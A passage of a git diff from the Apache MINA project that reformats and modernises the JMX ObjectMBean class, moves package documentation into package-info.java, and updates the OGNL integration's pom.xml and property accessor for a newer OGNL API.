0; i < params.length; i ++) { + for (int i = 0; i < params.length; i++) { if (Iterable.class.isAssignableFrom(methodParamTypes[i])) { // Generics are not supported. convertedParams = null; @@ -287,29 +289,36 @@ public final Object invoke(String name, Object params[], String signature[]) if (convertedParams == null) { continue; } - - return convertValue( - m.getReturnType(), "returnValue", - m.invoke(source, convertedParams), false); + + return convertValue(m.getReturnType(), "returnValue", m.invoke(source, convertedParams), false); } - + // No methods matched. throw new IllegalArgumentException("Failed to find a matching operation: " + name); - } catch (Throwable e) { + } catch (Exception e) { throwMBeanException(e); } - + throw new IllegalStateException(); } + /** + * @return The monitored object + */ public final T getSource() { return source; } - + + /** + * @return The MBrean server + */ public final MBeanServer getServer() { return server; } - + + /** + * @return The monitored object name + */ public final ObjectName getName() { return name; } @@ -344,13 +353,12 @@ public final AttributeList setAttributes(AttributeList attributes) { // Ignore all exceptions } } - + return getAttributes(names); } - public final void setManagedResource(Object resource, String type) - throws InstanceNotFoundException, InvalidTargetObjectTypeException, - MBeanException { + public final void setManagedResource(Object resource, String type) throws InstanceNotFoundException, + InvalidTargetObjectTypeException, MBeanException { throw new RuntimeOperationsException(new UnsupportedOperationException()); } @@ -361,32 +369,27 @@ public final void setModelMBeanInfo(ModelMBeanInfo info) throws MBeanException { @Override public final String toString() { - return source.toString(); + return (source == null ? "" : source.toString()); } - public void addAttributeChangeNotificationListener( - NotificationListener listener, String name, Object handback) { + public void addAttributeChangeNotificationListener(NotificationListener listener, String name, Object handback) { // Do nothing } - public void removeAttributeChangeNotificationListener( - NotificationListener listener, String name) + public void removeAttributeChangeNotificationListener(NotificationListener listener, String name) throws ListenerNotFoundException { // Do nothing } - public void sendAttributeChangeNotification( - AttributeChangeNotification notification) throws MBeanException { + public void sendAttributeChangeNotification(AttributeChangeNotification notification) throws MBeanException { throw new RuntimeOperationsException(new UnsupportedOperationException()); } - public void sendAttributeChangeNotification(Attribute oldValue, - Attribute newValue) throws MBeanException { + public void sendAttributeChangeNotification(Attribute oldValue, Attribute newValue) throws MBeanException { throw new RuntimeOperationsException(new UnsupportedOperationException()); } - public void sendNotification(Notification notification) - throws MBeanException { + public void sendNotification(Notification notification) throws MBeanException { throw new RuntimeOperationsException(new UnsupportedOperationException()); } @@ -395,8 +398,7 @@ public void sendNotification(String message) throws MBeanException { } - public void addNotificationListener(NotificationListener listener, - NotificationFilter filter, Object handback) + public void addNotificationListener(NotificationListener listener, NotificationFilter filter, Object handback) throws IllegalArgumentException { // Do nothing } @@ -405,23 +407,19 @@ public MBeanNotificationInfo[] getNotificationInfo() { return new MBeanNotificationInfo[0]; } - public void removeNotificationListener(NotificationListener listener) - throws ListenerNotFoundException { + public void removeNotificationListener(NotificationListener listener) throws ListenerNotFoundException { // Do nothing } - public void load() throws InstanceNotFoundException, MBeanException, - RuntimeOperationsException { + public void load() throws InstanceNotFoundException, MBeanException, RuntimeOperationsException { throw new RuntimeOperationsException(new UnsupportedOperationException()); } - public void store() throws InstanceNotFoundException, MBeanException, - RuntimeOperationsException { + public void store() throws InstanceNotFoundException, MBeanException, RuntimeOperationsException { throw new RuntimeOperationsException(new UnsupportedOperationException()); } - public final ObjectName preRegister(MBeanServer server, ObjectName name) - throws Exception { + public final ObjectName preRegister(MBeanServer server, ObjectName name) throws Exception { this.server = server; this.name = name; return name; @@ -446,40 +444,32 @@ public final void postDeregister() { private MBeanInfo createModelMBeanInfo(T source) { String className = source.getClass().getName(); String description = ""; - + ModelMBeanConstructorInfo[] constructors = new ModelMBeanConstructorInfo[0]; ModelMBeanNotificationInfo[] notifications = new ModelMBeanNotificationInfo[0]; - - List attributes = new ArrayList(); - List operations = new ArrayList(); - + + List attributes = new ArrayList<>(); + List operations = new ArrayList<>(); + addAttributes(attributes, source); addExtraAttributes(attributes); - + addOperations(operations, source); addExtraOperations(operations); - operations.add(new ModelMBeanOperationInfo( - "unregisterMBean", "unregisterMBean", - new MBeanParameterInfo[0], void.class.getName(), - ModelMBeanOperationInfo.ACTION)); - - return new ModelMBeanInfoSupport( - className, description, - attributes.toArray(new ModelMBeanAttributeInfo[attributes.size()]), - constructors, - operations.toArray(new ModelMBeanOperationInfo[operations.size()]), - notifications); + operations.add(new ModelMBeanOperationInfo("unregisterMBean", "unregisterMBean", new MBeanParameterInfo[0], + void.class.getName(), ModelMBeanOperationInfo.ACTION)); + + return new ModelMBeanInfoSupport(className, description, + attributes.toArray(new ModelMBeanAttributeInfo[attributes.size()]), constructors, + operations.toArray(new ModelMBeanOperationInfo[operations.size()]), notifications); } - - private void addAttributes( - List attributes, Object object) { + + private void addAttributes(List attributes, Object object) { addAttributes(attributes, object, object.getClass(), ""); } - private void addAttributes( - List attributes, - Object object, Class type, String prefix) { - + private void addAttributes(List attributes, Object object, Class type, String prefix) { + PropertyDescriptor[] pdescs; try { pdescs = Introspector.getBeanInfo(type).getPropertyDescriptors(); @@ -487,12 +477,12 @@ private void addAttributes( return; } - for (PropertyDescriptor pdesc: pdescs) { + for (PropertyDescriptor pdesc : pdescs) { // Ignore a write-only property. if (pdesc.getReadMethod() == null) { continue; } - + // Ignore unmanageable property. String attrName = pdesc.getName(); Class attrType = pdesc.getPropertyType(); @@ -502,21 +492,19 @@ private void addAttributes( if (!isReadable(type, attrName)) { continue; } - + // Expand if possible. if (isExpandable(type, attrName)) { expandAttribute(attributes, object, prefix, pdesc); continue; } - + // Ordinary property. String fqan = prefix + attrName; boolean writable = isWritable(type, pdesc); - attributes.add(new ModelMBeanAttributeInfo( - fqan, convertType( - object.getClass(), attrName, attrType, writable).getName(), - pdesc.getShortDescription(), true, writable, false)); - + attributes.add(new ModelMBeanAttributeInfo(fqan, convertType(object.getClass(), attrName, attrType, + writable).getName(), pdesc.getShortDescription(), true, writable, false)); + propertyDescriptors.put(fqan, pdesc); } } @@ -530,22 +518,24 @@ private boolean isWritable(Class type, PropertyDescriptor pdesc) { } String attrName = pdesc.getName(); Class attrType = pdesc.getPropertyType(); - boolean writable = pdesc.getWriteMethod() != null || isWritable(type, attrName); + boolean writable = (pdesc.getWriteMethod() != null) || isWritable(type, attrName); if (getPropertyEditor(type, attrName, attrType) == null) { writable = false; } return writable; } - private void expandAttribute( - List attributes, - Object object, String prefix, PropertyDescriptor pdesc) { + private void expandAttribute(List attributes, Object object, String prefix, + PropertyDescriptor pdesc) { Object property; String attrName = pdesc.getName(); try { property = getAttribute(object, attrName, pdesc.getPropertyType()); } catch (Exception e) { - LOGGER.debug("Unexpected exception.", e); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Unexpected exception.", e); + } + return; } @@ -553,53 +543,44 @@ private void expandAttribute( return; } - addAttributes( - attributes, - property, property.getClass(), - prefix + attrName + '.'); + addAttributes(attributes, property, property.getClass(), prefix + attrName + '.'); } - private void addOperations( - List operations, Object object) { - - for (Method m: object.getClass().getMethods()) { + private void addOperations(List operations, Object object) { + + for (Method m : object.getClass().getMethods()) { String mname = m.getName(); - + // Ignore getters and setters. - if (mname.startsWith("is") || mname.startsWith("get") || - mname.startsWith("set")) { + if (mname.startsWith("is") || mname.startsWith("get") || mname.startsWith("set")) { continue; } - + // Ignore Object methods. - if (mname.matches( - "(wait|notify|notifyAll|toString|equals|compareTo|hashCode|clone)")) { + if (mname.matches("(wait|notify|notifyAll|toString|equals|compareTo|hashCode|clone)")) { continue; } - + // Ignore other user-defined non-operations. if (!isOperation(mname, m.getParameterTypes())) { continue; } - - List signature = new ArrayList(); + + List signature = new ArrayList<>(); int i = 1; - for (Class paramType: m.getParameterTypes()) { - String paramName = "p" + (i ++); + for (Class paramType : m.getParameterTypes()) { + String paramName = "p" + (i++); if (getPropertyEditor(source.getClass(), paramName, paramType) == null) { continue; } - signature.add(new MBeanParameterInfo( - paramName, convertType( - null, null, paramType, true).getName(), + signature.add(new MBeanParameterInfo(paramName, convertType(null, null, paramType, true).getName(), paramName)); } - + Class returnType = convertType(null, null, m.getReturnType(), false); - operations.add(new ModelMBeanOperationInfo( - m.getName(), m.getName(), - signature.toArray(new MBeanParameterInfo[signature.size()]), - returnType.getName(), ModelMBeanOperationInfo.ACTION)); + operations.add(new ModelMBeanOperationInfo(m.getName(), m.getName(), signature + .toArray(new MBeanParameterInfo[signature.size()]), returnType.getName(), + ModelMBeanOperationInfo.ACTION)); } } @@ -622,8 +603,7 @@ private String getLeafAttributeName(String fqan) { return fqan.substring(dotIndex + 1); } - private Class getAttributeClass(String signature) - throws ClassNotFoundException { + private Class getAttributeClass(String signature) throws ClassNotFoundException { if (signature.equals(Boolean.TYPE.getName())) { return Boolean.TYPE; } @@ -648,7 +628,7 @@ private Class getAttributeClass(String signature) if (signature.equals(Short.TYPE.getName())) { return Short.TYPE; } - + try { ClassLoader cl = Thread.currentThread().getContextClassLoader(); if (cl != null) { @@ -657,14 +637,13 @@ private Class getAttributeClass(String signature) } catch (ClassNotFoundException e) { // Do nothing } - + return Class.forName(signature); } private Object getAttribute(Object object, String fqan, Class attrType) throws OgnlException { Object property; - OgnlContext ctx = (OgnlContext) Ognl.createDefaultContext(object); - ctx.setTypeConverter(new OgnlTypeConverter()); + OgnlContext ctx = (OgnlContext) Ognl.createDefaultContext(object, null, new OgnlTypeConverter()); if (attrType == null) { property = Ognl.getValue(fqan, ctx, object); } else { @@ -672,16 +651,12 @@ private Object getAttribute(Object object, String fqan, Class attrType) throw } return property; } - + private Class convertType(Class type, String attrName, Class attrType, boolean writable) { - if (attrName != null && (attrType == Long.class || attrType == long.class)) { - if (attrName.endsWith("Time") && - attrName.indexOf("Total") < 0 && - attrName.indexOf("Min") < 0 && - attrName.indexOf("Max") < 0 && - attrName.indexOf("Avg") < 0 && - attrName.indexOf("Average") < 0 && - !propertyDescriptors.containsKey(attrName + "InMillis")) { + if ((attrName != null) && ((attrType == Long.class) || (attrType == long.class))) { + if (attrName.endsWith("Time") && (attrName.indexOf("Total") < 0) && (attrName.indexOf("Min") < 0) + && (attrName.indexOf("Max") < 0) && (attrName.indexOf("Avg") < 0) + && (attrName.indexOf("Average") < 0) && !propertyDescriptors.containsKey(attrName + "InMillis")) { return Date.class; } } @@ -689,14 +664,13 @@ private Class convertType(Class type, String attrName, Class attrType, if (IoFilterChain.class.isAssignableFrom(attrType)) { return Map.class; } - + if (IoFilterChainBuilder.class.isAssignableFrom(attrType)) { return Map.class; } - + if (!writable) { - if (Collection.class.isAssignableFrom(attrType) || - Map.class.isAssignableFrom(attrType)) { + if (Collection.class.isAssignableFrom(attrType) || Map.class.isAssignableFrom(attrType)) { if (List.class.isAssignableFrom(attrType)) { return List.class; } @@ -708,20 +682,17 @@ private Class convertType(Class type, String attrName, Class attrType, } return Collection.class; } - - if (attrType.isPrimitive() || - Date.class.isAssignableFrom(attrType) || - Boolean.class.isAssignableFrom(attrType) || - Character.class.isAssignableFrom(attrType) || - Number.class.isAssignableFrom(attrType)) { - if (attrName == null || !attrName.endsWith("InMillis") || - !propertyDescriptors.containsKey( - attrName.substring(0, attrName.length() - 8))) { + + if (attrType.isPrimitive() || Date.class.isAssignableFrom(attrType) + || Boolean.class.isAssignableFrom(attrType) || Character.class.isAssignableFrom(attrType) + || Number.class.isAssignableFrom(attrType)) { + if ((attrName == null) || !attrName.endsWith("InMillis") + || !propertyDescriptors.containsKey(attrName.substring(0, attrName.length() - 8))) { return attrType; } } } - + return String.class; } @@ -729,33 +700,28 @@ private Object convertValue(Class type, String attrName, Object v, boolean wr if (v == null) { return null; } - - if (attrName != null && v instanceof Long) { - if (attrName.endsWith("Time") && - attrName.indexOf("Total") < 0 && - attrName.indexOf("Min") < 0 && - attrName.indexOf("Max") < 0 && - attrName.indexOf("Avg") < 0 && - attrName.indexOf("Average") < 0 && - !propertyDescriptors.containsKey(attrName + "InMillis")) { + + if ((attrName != null) && (v instanceof Long)) { + if (attrName.endsWith("Time") && (attrName.indexOf("Total") < 0) && (attrName.indexOf("Min") < 0) + && (attrName.indexOf("Max") < 0) && (attrName.indexOf("Avg") < 0) + && (attrName.indexOf("Average") < 0) && !propertyDescriptors.containsKey(attrName + "InMillis")) { long time = (Long) v; if (time <= 0) { return null; } - System.out.println("Converted to date"); + return new Date((Long) v); } } - if (v instanceof IoSessionDataStructureFactory || - v instanceof IoHandler) { + if ((v instanceof IoSessionDataStructureFactory) || (v instanceof IoHandler)) { return v.getClass().getName(); } - + if (v instanceof IoFilterChainBuilder) { - Map filterMapping = new LinkedHashMap(); + Map filterMapping = new LinkedHashMap<>(); if (v instanceof DefaultIoFilterChainBuilder) { - for (IoFilterChain.Entry e: ((DefaultIoFilterChainBuilder) v).getAll()) { + for (IoFilterChain.Entry e : ((DefaultIoFilterChainBuilder) v).getAll()) { filterMapping.put(e.getName(), e.getFilter().getClass().getName()); } } else { @@ -763,55 +729,51 @@ private Object convertValue(Class type, String attrName, Object v, boolean wr } return filterMapping; } - + if (v instanceof IoFilterChain) { - Map filterMapping = new LinkedHashMap(); - for (IoFilterChain.Entry e: ((IoFilterChain) v).getAll()) { + Map filterMapping = new LinkedHashMap<>(); + for (IoFilterChain.Entry e : ((IoFilterChain) v).getAll()) { filterMapping.put(e.getName(), e.getFilter().getClass().getName()); } return filterMapping; } - + if (!writable) { - if (v instanceof Collection || v instanceof Map) { + if ((v instanceof Collection) || (v instanceof Map)) { if (v instanceof List) { - return convertCollection(v, new ArrayList()); + return convertCollection(v, new ArrayList<>()); } if (v instanceof Set) { - return convertCollection(v, new LinkedHashSet()); + return convertCollection(v, new LinkedHashSet<>()); } if (v instanceof Map) { - return convertCollection(v, new LinkedHashMap()); + return convertCollection(v, new LinkedHashMap<>()); } - return convertCollection(v, new ArrayList()); + return convertCollection(v, new ArrayList<>()); } - - if (v instanceof Date || - v instanceof Boolean || - v instanceof Character || - v instanceof Number) { - if (attrName == null || !attrName.endsWith("InMillis") || - !propertyDescriptors.containsKey( - attrName.substring(0, attrName.length() - 8))) { + + if ((v instanceof Date) || (v instanceof Boolean) || (v instanceof Character) || (v instanceof Number)) { + if ((attrName == null) || !attrName.endsWith("InMillis") + || !propertyDescriptors.containsKey(attrName.substring(0, attrName.length() - 8))) { return v; } } } - + PropertyEditor editor = getPropertyEditor(type, attrName, v.getClass()); if (editor != null) { editor.setValue(v); return editor.getAsText(); } - + return v.toString(); } - + private Object convertCollection(Object src, Collection dst) { Collection srcCol = (Collection) src; - for (Object e: srcCol) { + for (Object e : srcCol) { Object convertedValue = convertValue(dst.getClass(), "element", e, false); - if (e != null && convertedValue == null) { + if ((e != null) && (convertedValue == null)) { convertedValue = e.toString(); } dst.add(convertedValue); @@ -821,13 +783,13 @@ private Object convertCollection(Object src, Collection dst) { private Object convertCollection(Object src, Map dst) { Map srcCol = (Map) src; - for (Map.Entry e: srcCol.entrySet()) { + for (Map.Entry e : srcCol.entrySet()) { Object convertedKey = convertValue(dst.getClass(), "key", e.getKey(), false); Object convertedValue = convertValue(dst.getClass(), "value", e.getValue(), false); - if (e.getKey() != null && convertedKey == null) { + if ((e.getKey() != null) && (convertedKey == null)) { convertedKey = e.getKey().toString(); } - if (e.getValue() != null && convertedValue == null) { + if ((e.getValue() != null) && (convertedValue == null)) { convertedKey = e.getValue().toString(); } dst.put(convertedKey, convertedValue); @@ -838,10 +800,12 @@ private Object convertCollection(Object src, Map dst) { private void throwMBeanException(Throwable e) throws MBeanException { if (e instanceof OgnlException) { OgnlException ognle = (OgnlException) e; + if (ognle.getReason() != null) { throwMBeanException(ognle.getReason()); } else { String message = ognle.getMessage(); + if (e instanceof NoSuchPropertyException) { message = "No such property: " + message; } else if (e instanceof ExpressionSyntaxException) { @@ -849,27 +813,25 @@ private void throwMBeanException(Throwable e) throws MBeanException { } else if (e instanceof InappropriateExpressionException) { message = "Inappropriate expression: " + message; } - e = new IllegalArgumentException(ognle.getMessage()); + + e = new IllegalArgumentException(message); e.setStackTrace(ognle.getStackTrace()); } } if (e instanceof InvocationTargetException) { throwMBeanException(e.getCause()); } - + LOGGER.warn("Unexpected exception.", e); if (e.getClass().getPackage().getName().matches("javax?\\..+")) { if (e instanceof Exception) { throw new MBeanException((Exception) e, e.getMessage()); } - throw new MBeanException( - new RuntimeException(e), e.getMessage()); + throw new MBeanException(new RuntimeException(e), e.getMessage()); } - - throw new MBeanException(new RuntimeException( - e.getClass().getName() + ": " + e.getMessage()), - e.getMessage()); + + throw new MBeanException(new RuntimeException(e.getClass().getName() + ": " + e.getMessage()), e.getMessage()); } protected Object getAttribute0(String fqan) throws Exception { @@ -903,25 +865,24 @@ protected boolean isReadable(Class type, String attrName) { if (IoSession.class.isAssignableFrom(type) && attrName.equals("closeFuture")) { return false; } - + if (ThreadPoolExecutor.class.isAssignableFrom(type) && attrName.equals("queue")) { return false; } return true; } - + protected boolean isWritable(Class type, String attrName) { if (IoService.class.isAssignableFrom(type) && attrName.startsWith("defaultLocalAddress")) { return true; } return false; } - + protected Class getElementType(Class type, String attrName) { - if (transportMetadata != null && - IoAcceptor.class.isAssignableFrom(type) && - "defaultLocalAddresses".equals(attrName)) { + if ((transportMetadata != null) && IoAcceptor.class.isAssignableFrom(type) + && "defaultLocalAddresses".equals(attrName)) { return transportMetadata.getAddressType(); } return String.class; @@ -936,40 +897,34 @@ protected Class getMapValueType(Class type, String attrName) { } protected boolean isExpandable(Class type, String attrName) { - if (IoService.class.isAssignableFrom(type) && attrName.equals("sessionConfig")) { - return true; - } - if (IoService.class.isAssignableFrom(type) && attrName.equals("transportMetadata")) { - return true; + + if (IoService.class.isAssignableFrom(type)) { + if (attrName.equals("statistics") || attrName.equals("sessionConfig") + || attrName.equals("transportMetadata") || attrName.equals("config") + || attrName.equals("transportMetadata")) { + return true; + } } - if (IoSession.class.isAssignableFrom(type) && attrName.equals("config")) { + + if (ExecutorFilter.class.isAssignableFrom(type) && attrName.equals("executor")) { return true; } - if (IoSession.class.isAssignableFrom(type) && attrName.equals("transportMetadata")) { + + if (ThreadPoolExecutor.class.isAssignableFrom(type) && attrName.equals("queueHandler")) { return true; } - if (ExecutorFilter.class.isAssignableFrom(type)) { - if (attrName.equals("executor")) { - return true; - } - } - if (ThreadPoolExecutor.class.isAssignableFrom(type)) { - if (attrName.equals("queueHandler")) { - return true; - } - } return false; } - + protected boolean isOperation(String methodName, Class[] paramTypes) { return true; } - + protected void addExtraAttributes(List attributes) { // Do nothing } - + protected void addExtraOperations(List operations) { // Do nothing } @@ -978,56 +933,49 @@ protected PropertyEditor getPropertyEditor(Class type, String attrName, Class if (type == null) { throw new IllegalArgumentException("type"); } - + if (attrName == null) { throw new IllegalArgumentException("attrName"); } - - if (transportMetadata != null && attrType == SocketAddress.class) { + + if ((transportMetadata != null) && (attrType == SocketAddress.class)) { attrType = transportMetadata.getAddressType(); } - if ((attrType == Long.class || attrType == long.class)) { - if (attrName.endsWith("Time") && - attrName.indexOf("Total") < 0 && - attrName.indexOf("Min") < 0 && - attrName.indexOf("Max") < 0 && - attrName.indexOf("Avg") < 0 && - attrName.indexOf("Average") < 0 && - !propertyDescriptors.containsKey(attrName + "InMillis")) { + if (((attrType == Long.class) || (attrType == long.class))) { + if (attrName.endsWith("Time") && (attrName.indexOf("Total") < 0) && (attrName.indexOf("Min") < 0) + && (attrName.indexOf("Max") < 0) && (attrName.indexOf("Avg") < 0) + && (attrName.indexOf("Average") < 0) && !propertyDescriptors.containsKey(attrName + "InMillis")) { return PropertyEditorFactory.getInstance(Date.class); } - + if (attrName.equals("id")) { return PropertyEditorFactory.getInstance(String.class); } } - + if (List.class.isAssignableFrom(attrType)) { return new ListEditor(getElementType(type, attrName)); } - + if (Set.class.isAssignableFrom(attrType)) { return new SetEditor(getElementType(type, attrName)); } - + if (Collection.class.isAssignableFrom(attrType)) { return new CollectionEditor(getElementType(type, attrName)); } if (Map.class.isAssignableFrom(attrType)) { - return new MapEditor( - getMapKeyType(type, attrName), - getMapValueType(type, attrName)); + return new MapEditor(getMapKeyType(type, attrName), getMapValueType(type, attrName)); } - + return PropertyEditorFactory.getInstance(attrType); } - + private class OgnlTypeConverter extends PropertyTypeConverter { @Override - protected PropertyEditor getPropertyEditor( - Class type, String attrName, Class attrType) { + protected PropertyEditor getPropertyEditor(Class type, String attrName, Class attrType) { return ObjectMBean.this.getPropertyEditor(type, attrName, attrType); } } diff --git a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/package-info.java b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/package-info.java new file mode 100644 index 0000000000..f4ba667cb9 --- /dev/null +++ b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/package-info.java @@ -0,0 +1,82 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * JMX (Java Management eXtension) integration. + *

    Monitoring Your MINA Services and Sessions

    + *

    Monitoring an IoService

    + *
    {@code
    + * acceptor = new SocketAcceptor();
    + *
    + * try
    + * {
    + *   IoServiceManager iosm = new IoServiceManager(acceptor);
    + *   MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
    + *   ObjectName name = new ObjectName( "com.acme.test:type=IoServiceManager,name=MyMINAServer" );
    + *   mbs.registerMBean( iosm, name );
    + * }
    + * catch( JMException e )
    + * {
    + *   logger.error( "JMX Exception: ", e );
    + * }
    + * }
    + *

    Monitoring an IoSession

    + * Each session is registered to MBean server individually. + *
    + * acceptor.addListener( new IoServiceListener()
    + * {
    + *   public void serviceActivated( IoService service, SocketAddress serviceAddress, IoHandler handler, IoServiceConfig config )
    + *   {
    + *   }
    + *
    + *   public void serviceDeactivated( IoService service, SocketAddress serviceAddress, IoHandler handler, IoServiceConfig config )
    + *   {
    + *   }
    + *
    + *   public void sessionCreated( IoSession session )
    + *   {
    + *     try
    + *     {
    + *       IoSessionManager sessMgr = new IoSessionManager( session );
    + *       MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
    + *       ObjectName name = new ObjectName( "com.acme.test.session:type=IoSessionManager,name=" + session.getRemoteAddress().toString().replace( ':', '/' ) );
    + *       mbs.registerMBean( sessMgr, name );
    + *     }
    + *     catch( JMException e )
    + *     {
    + *       logger.error( "JMX Exception: ", e );
    + *     }
    + *   }
    + *   public void sessionDestroyed( IoSession session )
    + *   {
    + *     try
    + *     {
    + *       ObjectName name = new ObjectName( "com.acme.test.session:type=IoSessionManager,name=" + session.getRemoteAddress().toString().replace( ':', '/' ) );
    + *       ManagementFactory.getPlatformMBeanServer().unregisterMBean( name );
    + *     }
    + *     catch( JMException e )
    + *     {
    + *       logger.error( "JMX Exception: ", e );
    + *     }
    + *   }
    + * });
    + * }
    + */ +package org.apache.mina.integration.jmx; diff --git a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/package.html b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/package.html deleted file mode 100644 index 026ad6e7a3..0000000000 --- a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/package.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - -JMX (Java Management eXtension) integration. - -

    Monitoring Your MINA Services and Sessions

    - -

    Monitoring an IoService

    -
    -acceptor = new SocketAcceptor();
    -       
    -try
    -{
    -    IoServiceManager iosm = new IoServiceManager(acceptor);
    -    MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();  
    -    ObjectName name = new ObjectName( "com.acme.test:type=IoServiceManager,name=MyMINAServer" );
    -    mbs.registerMBean( iosm, name );
    -}
    -catch( JMException e )
    -{
    -    logger.error( "JMX Exception: ", e );
    -}
    -
    - -

    Monitoring an IoSession

    - -Each session is registered to MBean server individually. - -
    -acceptor.addListener( new IoServiceListener()
    -{
    -    public void serviceActivated( IoService service, SocketAddress serviceAddress, IoHandler handler, IoServiceConfig config )
    -    {
    -    }
    -
    -    public void serviceDeactivated( IoService service, SocketAddress serviceAddress, IoHandler handler, IoServiceConfig config )
    -    {
    -    }
    -
    -    public void sessionCreated( IoSession session )
    -    {
    -        try
    -        {
    -            IoSessionManager sessMgr = new IoSessionManager( session );
    -            MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();  
    -            ObjectName name = new ObjectName( "com.acme.test.session:type=IoSessionManager,name=" + session.getRemoteAddress().toString().replace( ':', '/' ) );
    -            mbs.registerMBean( sessMgr, name );
    -        }
    -        catch( JMException e )
    -        {
    -            logger.error( "JMX Exception: ", e );
    -        }      
    -    }
    -
    -    public void sessionDestroyed( IoSession session )
    -    {
    -        try
    -        {
    -            ObjectName name = new ObjectName( "com.acme.test.session:type=IoSessionManager,name=" + session.getRemoteAddress().toString().replace( ':', '/' ) );
    -            ManagementFactory.getPlatformMBeanServer().unregisterMBean( name );
    -        }
    -        catch( JMException e )
    -        {
    -            logger.error( "JMX Exception: ", e );
    -        }      
    -    }
    -});
    -
    - - diff --git a/mina-integration-ognl/pom.xml b/mina-integration-ognl/pom.xml index a7636e99d4..d4a08e02d6 100644 --- a/mina-integration-ognl/pom.xml +++ b/mina-integration-ognl/pom.xml @@ -24,17 +24,13 @@ org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-integration-ognl Apache MINA OGNL Integration bundle - - ${project.groupId}.integration.ognl - - ${project.groupId} @@ -54,11 +50,32 @@ ognl ognl - - - jboss - javassist - runtime - + + + + + org.apache.felix + maven-bundle-plugin + true + true + + META-INF + + ${project.groupId}.integration.ognl + + org.apache.mina.integration.ognl;version=${project.version};-noimport:=true + + + ognl;version=${version.ognl}, + org.apache.mina.core.filterchain;version=${project.version}, + org.apache.mina.core.service;version=${project.version}, + org.apache.mina.core.session;version=${project.version}, + org.apache.mina.integration.beans;version=${project.version} + + + + + + diff --git a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/AbstractPropertyAccessor.java b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/AbstractPropertyAccessor.java index f8cefa05fb..c00a15f176 100644 --- a/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/AbstractPropertyAccessor.java +++ b/mina-integration-ognl/src/main/java/org/apache/mina/integration/ognl/AbstractPropertyAccessor.java @@ -16,8 +16,6 @@ */ package org.apache.mina.integration.ognl; -import java.util.Map; - import ognl.ObjectPropertyAccessor; import ognl.OgnlContext; import ognl.OgnlException; @@ -29,19 +27,18 @@ * * @author Apache MINA Project */ -@SuppressWarnings("unchecked") public abstract class AbstractPropertyAccessor extends ObjectPropertyAccessor { - static final Object READ_ONLY_MODE = new Object(); - static final Object QUERY = new Object(); - + static final String READ_ONLY_MODE = "READ_ONLY_MODE"; + + static final String QUERY = "QUERY"; + @Override - public final boolean hasGetProperty(OgnlContext context, Object target, - Object oname) throws OgnlException { + public final boolean hasGetProperty(OgnlContext context, Object target, Object oname) throws OgnlException { if (oname == null) { return false; } - + if (hasGetProperty0(context, target, oname.toString())) { return true; } else { @@ -50,17 +47,16 @@ public final boolean hasGetProperty(OgnlContext context, Object target, } @Override - public final boolean hasSetProperty(OgnlContext context, Object target, - Object oname) throws OgnlException { + public final boolean hasSetProperty(OgnlContext context, Object target, Object oname) throws OgnlException { if (context.containsKey(READ_ONLY_MODE)) { // Return true to trigger setPossibleProperty to throw an exception. return true; } - + if (oname == null) { return false; } - + if (hasSetProperty0(context, target, oname.toString())) { return true; } else { @@ -69,8 +65,7 @@ public final boolean hasSetProperty(OgnlContext context, Object target, } @Override - public final Object getPossibleProperty(Map context, Object target, String name) - throws OgnlException { + public final Object getPossibleProperty(OgnlContext context, Object target, String name) throws OgnlException { Object answer = getProperty0((OgnlContext) context, target, name); if (answer == OgnlRuntime.NotFound) { answer = super.getPossibleProperty(context, target, name); @@ -79,56 +74,24 @@ public final Object getPossibleProperty(Map context, Object target, String name) } @Override - public final Object setPossibleProperty(Map context, Object target, String name, - Object value) throws OgnlException { + public final Object setPossibleProperty(OgnlContext context, Object target, String name, Object value) throws OgnlException { if (context.containsKey(READ_ONLY_MODE)) { throw new OgnlException("Expression must be read-only: " + context.get(QUERY)); } - + Object answer = setProperty0((OgnlContext) context, target, name, value); if (answer == OgnlRuntime.NotFound) { answer = super.setPossibleProperty(context, target, name, value); } return answer; } - - protected abstract boolean hasGetProperty0( - OgnlContext context, Object target, String name) throws OgnlException; - - protected abstract boolean hasSetProperty0( - OgnlContext context, Object target, String name) throws OgnlException; - protected abstract Object getProperty0( - OgnlContext context, Object target, String name) throws OgnlException; + protected abstract boolean hasGetProperty0(OgnlContext context, Object target, String name) throws OgnlException; - protected abstract Object setProperty0( - OgnlContext context, Object target, String name, Object value) throws OgnlException; + protected abstract boolean hasSetProperty0(OgnlContext context, Object target, String name) throws OgnlException; + protected abstract Object getProperty0(OgnlContext context, Object target, String name) throws OgnlException; - // The following methods uses the four method above, so there's no need - // to override them. - - @Override - public final Object getProperty(Map context, Object target, Object oname) - throws OgnlException { - return super.getProperty(context, target, oname); - } - - @Override - public final boolean hasGetProperty(Map context, Object target, Object oname) - throws OgnlException { - return super.hasGetProperty(context, target, oname); - } - - @Override - public final boolean hasSetProperty(Map context, Object target, Object oname) - throws OgnlException { - return super.hasSetProperty(context, target, oname); - } - - @Override - public final void setProperty(Map context, Object target, Object oname, - Object value) throws OgnlException { - super.setProperty(context, target, oname, value); - } + protected abstract Object setProperty0(OgnlContext context, Object target, String name, Object value) + throws OgnlException; } diff --git 